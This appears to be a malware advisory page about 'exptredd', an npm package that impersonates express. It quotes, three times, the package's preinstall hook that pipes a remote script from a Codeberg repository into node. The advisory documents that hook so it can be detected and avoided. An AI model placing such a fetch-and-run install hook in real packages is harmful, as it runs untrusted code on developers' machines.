supply chain event / NVI-00009897 / Revision 1
Malicious code in exptredd (npm)
GitHub lists this malware advisory for exptredd, exptredd, exptredd. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
exptredd
source listed= 5.2.1
## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035) npm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user. --- Credit: OpenSSF (source)
exptredd
source listed= 5.2.3
## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035) npm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user. --- Credit: OpenSSF (source)
exptredd
source listed= 5.2.4
## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035) npm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user. --- Credit: OpenSSF (source)
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
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04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
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- GHSA-49qv-wmf6-cj3h ↗
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Public revision history
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- Revision 1 ·
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